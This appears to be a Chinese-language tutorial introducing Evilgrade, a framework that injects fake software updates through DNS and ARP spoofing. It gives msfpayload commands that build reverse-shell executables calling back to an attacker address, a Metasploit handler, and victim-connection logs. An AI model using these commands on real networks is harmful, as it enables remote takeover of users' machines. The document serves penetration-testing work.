关于Evilgrade
Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代理以及支持快速测试的默认工作配置。除此之外,该工具还拥有自己的WebServer和DNSServer模块。
工具使用场景
内部场景
1、内部DNS访问;
2、ARP欺骗;
3、DNS缓存投毒;
4、DHCP欺骗;
5、TCP劫持;
6、Wi-Fi访问点伪造;
外部场景
1、内部DNS访问;
2、DNS缓存投毒;
实现的模块
Freerip 3.30
Jet photo 4.7.2
Teamviewer 5.1.9385
ISOpen 4.5.0
Istat.
Gom 2.1.25.5015
Atube catcher 1.0.300
Vidbox 7.5
Ccleaner 2.30.1130
Fcleaner 1.2.9.409
Allmynotes 1.26
Notepad++ 5.8.2
Java 1.6.0_22 winxp/win7
aMSN 0.98.3
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
Mirc 7.14
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)
Dap 9.5.0.3
Winscp 4.2.9
AutoIt Script 3.3.6.1
Clamwin 0.96.0.1
AppTapp Installer 3.11 (Iphone/Itunes)
getjar (facebook.com)
Google Analytics Javascript injection
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
Winamp 5.581
TechTracker (cnet) 1.3.1 (Build 55)
Nokiasoftware firmware update 2.4.8es
Nokia firmware v20.2.011
BSplayer 2.53.1034
Apt ( < Ubuntu 10.04 LTS)
Ubertwitter 4.6 (0.971)
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
Cpan 1.9402
VirtualBox (3.2.8 )
Express talk
Filezilla
Flashget
Miranda
Orbit
Photoscape.
Panda Antirootkit
Skype
Sunbelt
Superantispyware
Trillian <= 5.0.0.26
Adium 1.3.10 (Sparkle Framework)
VMware
...
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/infobyte/evilgrade.git
工具使用
下面给出的是工具的帮助信息:
evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - 配置模块名称 exit - 退出程序 help - 输出工具帮助信息 reload - 重新加载并更新所有模块 restart - 重启Web服务器 set - 配置变量 show - 显示对象信息 start - 开启Web服务器 status - 获取Web服务器窗台 stop - 停止Web服务器 version - 显示框架版本 Object: options - 显示当前模块的选项 vhosts - 显示当前模块的VirtualHosts modules - 列举所有可用的模块 active - 显示活动模块
列举实现的模块:
evilgrade>show modules List of modules: =============== ... ... ... - 63 modules available.
配置指定模块:
evilgrade>conf sunjava evilgrade(sunjava)>
开启服务(DNS服务器和WebServer):
evilgrade>start evilgrade> [28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade> [28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ... #### Waiting for victims evilgrade> [25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml" evilgrade> [25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$" evilgrade> [25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe" evilgrade> [25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
显示状态和日志:
evilgrade>show status Webserver (pid 4134) already running Users status: ============ .---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'
工具高级使用
使用场景一
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
在这种情况下,对于每个所需的更新二进制文件,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。
比如说,如果我们运行下列命令:
evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。
使用场景二
在Evilgrade外运行:
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
在Evilgrade内运行:
evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E [*] Started reverse handler on 192.168.100.2:4444 [*] Starting the payload handler...
项目地址
Evilgrade:【GitHub传送门】